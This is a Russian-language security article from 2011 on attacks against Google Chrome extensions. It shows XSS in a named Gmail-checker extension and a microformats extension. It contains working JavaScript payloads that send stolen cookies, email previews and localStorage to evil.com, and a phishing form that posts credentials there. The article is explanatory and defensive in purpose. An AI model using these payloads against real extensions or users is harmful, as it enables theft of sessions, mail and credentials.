Безопасность расширений веб-браузеров - Google Chrome

Authors: Тарас Иващенко
Contact: http://oxdef.info
Date: 2011-12-03
Copyright: This work is licensed under a Creative Commons Attribution-Share Alike 3.0 Unported License

Intro

Сейчас Google Chrome становится всё более и более популярным. Он быстр, удобен в использовании и в тоже время достаточно мощный по своим возможностям веб-браузер.

Я не буду подробно описывать, что представляет собой архитектура расширений в Хроме, ты сможешь узнать это из хорошей статьи Larry Seltzer "Google's Chrome Extensions Show Security Focus"[1].

Как и Фаерфокс Хром поддерживает расширения, которые делают веб-серфинг более комфортабельным. Что представляют собой расширения в Хроме? Расширения - это небольшие программные модули, с помощью которых можно изменять и улучшать функциональность базового веб-браузера. Разработчики могут использовать популярные веб-технологии: HTML, JavaScript, включая HTML5 вкусности, и CSS. Использование этих технологий конечно же упрощает процесс разработки, особенно в сравнении с написанием расширения для Огнелиса (хотя и там используются в основе тот же JavaScript и прочее).

Обычно расширение для Хрома включает в себя следующие составляющие:

Всё это упаковывается в ZIP-архив с раширением crx. Для коммуникаций между страницами расширения имеется возможность вызывать из одно страницы функции другой и даже изменять DOM-модель. Это не относится внедряемых скриптов, для связи с которыми используется механизм сообщений. Для страниц расширения доступны API браузера:

img/arch-2.gif

Устройство расширения в Гугль Хроме

Давайте разберёмся, какие риски могут эти технологии нести и что стоит учитывать разработчикам расширений под Хром.

XSS

Рассмотрим популярное (около 18368 установок в неделю) расширение для проверки Гмейла "Google Mail Checker Plus" [2]. Это расширение просто показывает количество непрочитанных писем в твоём инбоксе, по клику на кнопке показывает окно предпросмотра и также поддерживает оповещения рабочего стола

img/google_mail_checker_plus.png

Предпросмотр письма в всплывающем окне Google Mail Checker Plus

В области предпросмотра мы можем увидеть как минимум тему письма, от кого она и немного непосредственно текста сообщения. Хорошо, а что если послать письмо со следующей темой?

2"'><script src="http://evil.com/own.js"></script>

Где own.js - простая JavaScript-нагрузка для демонстрации уязвимости:

document.body.innerHTML = '';
img = new Image();
img.src = 'http://evil.com/stallowned.jpg';
document.body.appendChild(img);

По приходу письма мы сначала уведем уведомление рабочего стола:

img/gmail_checker_xss_notificate.png

XSS в уведомлении Google Mail Checker Plus

Затем по клику на кнопке расширения мы увидим уже нашу XSS в всплывающем окне расширения:

img/gmail_checker_xss.png

XSS в Google Mail Checker Plus

Бинго! Кстати эта была обнаружена человеком под ником Lostmon ещё в июне 2010 года, но я подковырял её и автору расширения пришлось исправлять её повторно.

"All extensions runs over his origin and no have way to altered data from extension or get sensitive data like , email account or password etc.."

Покопаем, что же можно сделать с помощью банальной XSS в случае с расширением к браузеру.

Куки

Сессионные данные - популярная цель для XSS-атаки. Но расширение работает в своего рода песочницы и напрямую доступ к кукам через объект document.cookie получить уже не получится - нам надо использовать API. Для работы с куками расширению, и нам тоже, необходимы специальные привилегии и явным образом прописанные домены в манифесте, например вот так:

{
    "name": "My extension",
    ...
    "permissions": [
    "cookies",
    "*://*.google.com"
    ],
...
}

Очевидно, что риск увеличивается, когда у расширения слишком много прав - то есть как минимум права на работу с куками и большое количество доменов соответствующей секции манифеста. В таком случае XSS становится гораздо более опасной штукой потому что злоумышленник сможет получить доступ к кукам этих всех разрешённых доменов. Следующий код демонстрирует как можно собрать все доступные куки и отправить их на снифер:

chrome.cookies.getAll({}, function(cookies) {
    var dump = 'COOKIES: ';
    for (var i in cookies) {
        dump += cookies[i].domain + ':' + cookies[i].name  + ':' + cookies[i].value + ' | ';
    }
    img = new Image();
    img.src = 'http://evil.com/stallowned.jpg?' + dump;
    document.body.appendChild(img);
});

Данные веб-браузера как цель для атаки

В предыдущей части мы рассмотрели какой риск может нести в себе уязвимость в расширении, приводящая к XSS. При определённых условиях (наличию большого количества привилегий и доменов в файле манифеста) злоумышленник может получить куки с разных сайтов - и это сильное преимущество перед XSS в обычном веб-приложении. Так же он сможет заполучить такие интересные данные как:

  • история твоей работы с веб-браузером
  • твои закладки
  • и другое, на что может быть дано разрешение и существовать соответствующее API

Таким образом XSS может привести к компрометации данных пользователя на его компе, а не просто кражи кук, в зависимости от типа расширения и его привилегий.

Обходим настройки Gmail по показу внешнего содержимого

Конечно же это не так критично, но если злоумышленник может внедрить произвольный HTML/JavaScript в конкретное письмо, он может и добавить IMG тег и по факту запроса картинки с сервера определить факт прочтения письма. Это всё возможно вне зависимости от настроек показ внешнего содержимого в Гмейле!

Угон почтовой переписки

Это будет уже посерьёзнее! Представьте, что вы получаете вот такую JavaScript-нагрузку

var dump = '';
var e = document.getElementsByTagName('a');
i=0;
while(i < e.length) {
    if (e[i].className == 'openLink') {
        dump += e[i].innerText + ' | ';
    }
    i++;
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Это ни что иное как дампилка писем в рамках всплывающего окна расширения. Тут всё просто - мы просто перебираем все элементы из списка писем, в которых показывается информация о письме (отправитель, дата, тема и кусок сообщения), и отправляем её на сервер злоумышленника.

Настройки расширения - там тоже может быть интересные данные!

Расширения вполне могут сохранять критичную информацию в своих настройках, доступ к которым осуществляется с помощью механизма веб-хранилищ HTML5. Конечно такие расширения надо поискать, но они существуют. Например, в настройках такого "плохого" расширения может быть сохранена аутентификационная информация и следующим скриптом, мы достанем её оттуда:

var dump = ' LOCALSTORAGE: ';
for (i = 0; i < localStorage.length; i++ ) {
    dump += "KEY: " + localStorage.key(i);
    dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | ";
}
img = new Image();
img.src = 'http://evil.com/sniff.jpg?' + dump;
document.body.appendChild(img);

Фишинг

Как было сказано выше, расширение не может напрямую обращаться к кукам и необходимо использовать соответствующее API. Таким образом заполучение кук в рамках XSS-атаки становится нетривиальным решением, но ведь обычный фишинг никто не отменял! Злоумышленник может сделать простую псевдоформу логина и показать её жертве через нагрузку:

var msg = 'Please, enter account information.';
msg += '<form action="http://evil.com/login">Username: <input type=text name=user>';
msg += ' <br>Password: <input type=password name=pass><br><input type=submit></form>';
document.body.innerHTML = msg;

Этот скриншот выглядит не слишком красиво, но это всего лишь концепт.

img/fishing.png

Фишинг

Риски, связанные с использованием JSON

JSON - это легковесный формат для обмена данными, широко используемых в веб2.0-ых веб-приложениях (ты должен был о нём слыать) для обмена данными между клиентской и серверной частями. Например, в файле манифеста используется в качестве формата данных именно JSON:

{
  "name": "Extension",
  "version": "1.0",
  "description": "Some extension",
  "icons": { "128": "icon.png" },
  "permissions": ["http://example.com/"],
  "browser_action": {
    "default_title": "",
    "default_icon": "pic.png",
    "default_popup": "view.html"
  }
}

Существует как минимум 2 больших риска, связанные с небезопасным использованием JSON:

  1. Использование функции JavaScript eval() для разбора недоверенных данных (например, пользовательские данные). Разработчики Google специально выделили данный риск и написали рекомендации по безопасному разбору JSON с помощью встроенного метода JSON.parse
  2. Менее очевидный, но не менее опасный риск похищения JSON-данных JavaScript hijacking.

Не стоит забывать и про JSON(P), который используется для обмена данным между доменами. В контексте расширений Хрома данная потенциальная уязвимость мало чем отличается от такой же для обычного веб-приложения. Так же можно с помощью любого промежуточного прокси, например тот, что входит мощный фреймворк для аудита веб-приложений w3af, и посмотреть каким образом идёт обмен данными между расширением и серверной частью веб-сервиса. Там вполне могут быть проблемы с безопасностью.

Внедряемые скрипты

Например, необходимо изменять цвета страницы, которую ты посещяешь или размер шрифта. Другой хороший пример - обрамлять все URL-адреса на странице в HTML-тег A и тем самым делать ссылками. Для всего этого и предназначены внедряемые скрипты (content scripts). Внедряемый скрипт - это по сути специальный кусок JavaScript, который внедряется в необходимые страницы и, что важно, выполняется в их контексте, а не в контексте расширения. Таким образом внедряемые скрипты могут свободно читать и изменять содержимое текущей страницы, при этом они сильно ограничены в использовании API расширений, а именно не могут:

  • использовать chrome.* APIs (кроме частей chrome.extension);
  • использовать переменные и функции, заданные в родительском расширении;
  • использовать переменные и функции, заданные в непосредственно странице либо в других внедряемых скриптах;
  • делать кросс-доменные запросы XMLHttpRequests.

В тоже время внедряемые скрипты могут обращаться с родительским расширением с помощью технологии сообщений. в общем виде мы имеем 2 риска, связанных с внедряемыми скриптами:

  1. в силу возможности изменять содержимое посещаемой страницы, плохо написанные скрипты могут добавить уязвимость на страницу, на которой изначально этой уязвимости не было!
  2. зловредная страница сама может атаковать через внедряемые скрипты расширение веб-браузера

Давайте разберём пример второго случая и рассмотрим поближе расширение для работы с микроформатами. Ниже представлен фрагмент HTML-кода с популярным микроформатом hCard. Но в нашем случае мы запихали в URL то, что скорее всего расширение не планирует там увидеть:

<div class="vcard">
   <div class="fn">James Bond</div>
   <div class="org">MI-6</div>
   <div class="tel">604-555-1234</div>
   <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';document.body.appendChild(d);</script>233">http://example.com/</a>
 </div>

Если у нас установлено это расширение и мы посетим страницу с таким кодом, то расширение попробует его оттуда выдернуть , распарсить и показать нам эти данные о человеке.

img/microformats_xss.png

Атака на расширение Microformats extension

Наша нагрузка отработала и видно результат? Но какие риски оно несёт?! А вот какие :) Рассматриваемое нами расширение умеет связываться с твоим гугловским аккаунтом по средствам протокола OAuth и API сервиса адресной книги Гугла. То есть оно имеет доступ, с твоего разрешения конечно, к твоей аресной книге и может добавлять туда записи по клику на соответствующей кнопке в всплывающем окне.

Вот такой простой код. использующий фишки JQuery:

$(".submithcard").click()

добавит произвольный контакт в твою адресную книгу на Гмейле! Таким образом удалось обойти сильные ограничения на использование API внедряемыми скриптами и нагрузка пробросилась в основное окно расширения, в котором у нас уже больше возможностей! :)

Outro

Что хочется сказать в итоге...разработчики Google Chrome сделали действительно хорошую архитектуру расширений и предоставили достаточно возможностей для написания качественных и безопасных расширений. В тоже время мы видим выбранные технологии для разработки (HTML, CSS and JavaScript) делают (ну хорошо, не сами технологии, всё-таки гореразработчики :) возможным подверженность расширений таким атакам как XSS, к которым мы привыкли в контексте веб-приложений. И риски от такой XSS могут быть похлеще, чем от XSS в обычном веб-приложении. Таким образом, разработчикам расширений внимательно читать раздел "Security considerations" в руководстве разработчика, а пользователям следить за обновлениями расширений и вовремя устанавливать их!.

[1]"Google's Chrome Extensions Show Security Focus" by Larry Seltzer, PC Magazine, http://www.pcmag.com/article2/0,2817,2359778,00.asp
[2]https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe